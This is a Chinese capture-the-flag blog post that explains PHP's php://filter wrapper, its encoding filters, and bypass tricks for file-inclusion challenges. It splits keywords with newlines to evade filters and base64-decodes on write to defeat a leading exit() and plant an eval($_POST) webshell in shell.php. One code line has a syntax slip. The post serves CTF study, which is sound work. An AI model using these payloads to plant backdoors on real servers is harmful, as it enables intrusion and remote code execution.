浅谈php filter伪协议及一些绕过姿势

浅谈php filter伪协议及一些绕过姿势

写在前面:又是被签到题拿下的一天QWQ,在看过各路大佬的wp后决定写下本文总结一下。先把题放这里了(攻防世界file_include),后附wp。

在这里插入图片描述

php filter伪协议

1.php://filter作为一种充当中间流的过滤器可以接收O/I流,对数据进行读取或者写入,并在读取和写入之前进行过滤。

2.字符过滤器string.rot13:使用当前字母在字母表后第13个字母替换当前字母(特性:忽略非字母表中字母的字符)。

3.转换过滤器convert:
(1).base64-encode/decode:base64的编码转换
例如最基础的:php://filter=convert.base64-encode/resource=文件名
上述语句表示用base64编码显示文件内容,关于为什么要这么做举个简单的例子,当flag在目标文件的注释中时直接包含该文件是看不到flag的(网页会过滤掉注释行),所以要用base64的形式显示出目标文件的全部代码。
补充姿势:可以利用管道符进行多次编码如:php://filter/read=convert.base64-encode|convert.base64-encode/resource=文件名。
(2).quoted-printable-encode/decode:可打印字符引用编码,用于将非ASCII字符编码为ASCII文本。Quoted-Printable 编码的基本思想是将非 ASCII 字符替换为特殊的转义序列,这些序列由等号 “=” 后面的两个十六进制数字表示字符的 ASCII 码。举个例子:

在这里插入图片描述
编码后:
在这里插入图片描述(补充:中文逗号没有ASCII码,英文才有。)
(3).iconv.<input-encoding>.<output-encoding>或<input-encoding>/<output-encoding>:将输入的字符串编码转换成输出指定的编码。还可用于在本地解码。
补充姿势:.iconv支持utf-7,utf-8,UCS-2LE,UCS-2BE,可以用\n拼接语句,所以当utf被过滤时可以用ut%0Af绕过检测。

4.详细解释一个例句:
php://filter/write=convert.base64-decode/resource=shell.php
write:写入数据。相同的,read是读取数据。
decode:解码。相对的,encode是编码。
shell.php:实际要操作的文件。
整句话:将shell.php打开,并对其内容进行base64解码。

5.可自由搭配:
write+encode:写入已编码的数据
write+decode:写入解码的数据
read+encode:读取并显示为已编码的数据
read+decode:读取并显示为解码的数据

6.base64方法绕过死亡exit:

file_put_contents($filename,"<?php exit();".$content>);
# $filename:要写入木马的目标文件
# $exit():无条件死亡代码
# $content题目留出来的写马的地方

若想写入木马就要让exit()失效,利用的特性:把php exit搞得面目全非后,php就会因为无法识别语句而略过。构造的payloud:

$filename="php://filter/write=convert.base64-decode/resource=shell.php";
$content="aQGV2YWwoJF9QT1NUWyckc2hlbGwnXSk7";
# 这里开头的a是随便写的字母,因为base64解码时四个字母被当做一组,phpexit只有7个,要补一个才能让后面我们自己加的代码能正确解码。

7.file_include的wp
放一篇大佬的wp:https://www.cnblogs.com/niyani/p/16954041.html
在这里插入图片描述

  • 8
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值